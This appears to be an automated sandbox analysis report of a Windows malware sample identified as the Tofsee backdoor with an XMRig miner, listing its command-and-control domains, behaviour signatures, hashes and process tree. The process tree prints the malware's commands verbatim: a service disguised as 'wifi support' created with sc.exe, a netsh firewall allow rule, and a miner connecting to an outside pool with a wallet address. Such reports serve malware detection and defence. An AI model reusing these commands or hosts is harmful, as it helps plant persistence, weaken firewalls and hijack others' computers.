Analysis

  • max time kernel
    148s
  • max time network
    153s
  • platform
    windows7_x64
  • resource
    win7-20220901-en
  • resource tags

    arch:x64arch:x86image:win7-20220901-enlocale:en-usos:windows7-x64system
  • submitted
    11/11/2022, 22:43

General

  • Target
    file.exe
  • Size 193KB
  • Sample221111-2nb5kscb58
  • SHA256 6738605dc7748bed3db9c6aae16e30648b36e5dc4a0b7f9ac34a922cda8d495b
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • tofsee

C2
  • svartalfheim.top

  • jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs 1 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Deletes itself 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1720
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\oqcokerc\
      2⤵
        PID:1868
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\qkmuqkqj.exe" C:\Windows\SysWOW64\oqcokerc\
        2⤵
          PID:1484
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create oqcokerc binPath= "C:\Windows\SysWOW64\oqcokerc\qkmuqkqj.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:520
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description oqcokerc "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:560
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start oqcokerc
          2⤵
          • Launches sc.exe
          PID:1064
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:876
      • C:\Windows\SysWOW64\oqcokerc\qkmuqkqj.exe
        C:\Windows\SysWOW64\oqcokerc\qkmuqkqj.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:1624
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Windows security bypass
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:1640
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:2004

      Network

            MITRE ATT&CK Enterprise v6

            Replay Monitor

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            Downloads

            qkmuqkqj.exe

            • Path C:\Users\Admin\AppData\Local\Temp\qkmuqkqj.exe
            • Size 13.3MB
            • SHA256 4a7507ea794e3d9c8a6426354c5faccf8513ee659f02f42e70587b072713b24f
            • MD5 SHA1 SHA512 SSDEEP

            qkmuqkqj.exe

            • Path C:\Windows\SysWOW64\oqcokerc\qkmuqkqj.exe
            • Size 13.3MB
            • SHA256 4a7507ea794e3d9c8a6426354c5faccf8513ee659f02f42e70587b072713b24f
            • MD5 SHA1 SHA512 SSDEEP

            memory/1624-75-0x0000000000400000-0x000000000058B000-memory.dmp

            memory/1624-73-0x000000000026B000-0x000000000027C000-memory.dmp

            memory/1640-69-0x0000000000110000-0x0000000000125000-memory.dmp

            memory/1640-80-0x0000000001980000-0x0000000001B8F000-memory.dmp

            memory/1640-107-0x0000000000110000-0x0000000000125000-memory.dmp

            memory/1640-95-0x0000000000240000-0x0000000000247000-memory.dmp

            memory/1640-92-0x0000000005570000-0x000000000597B000-memory.dmp

            memory/1640-89-0x0000000000230000-0x0000000000235000-memory.dmp

            memory/1640-71-0x0000000000110000-0x0000000000125000-memory.dmp

            memory/1640-86-0x0000000000220000-0x0000000000230000-memory.dmp

            memory/1640-83-0x00000000000C0000-0x00000000000C6000-memory.dmp

            memory/1640-79-0x0000000000110000-0x0000000000125000-memory.dmp

            memory/1720-55-0x00000000009EB000-0x00000000009FC000-memory.dmp

            memory/1720-56-0x00000000003B0000-0x00000000003C3000-memory.dmp

            memory/1720-54-0x00000000757A1000-0x00000000757A3000-memory.dmp

            memory/1720-66-0x00000000009EB000-0x00000000009FC000-memory.dmp

            memory/1720-67-0x0000000000400000-0x000000000058B000-memory.dmp

            memory/1720-57-0x0000000000400000-0x000000000058B000-memory.dmp

            memory/2004-98-0x0000000000160000-0x0000000000251000-memory.dmp

            memory/2004-100-0x0000000000160000-0x0000000000251000-memory.dmp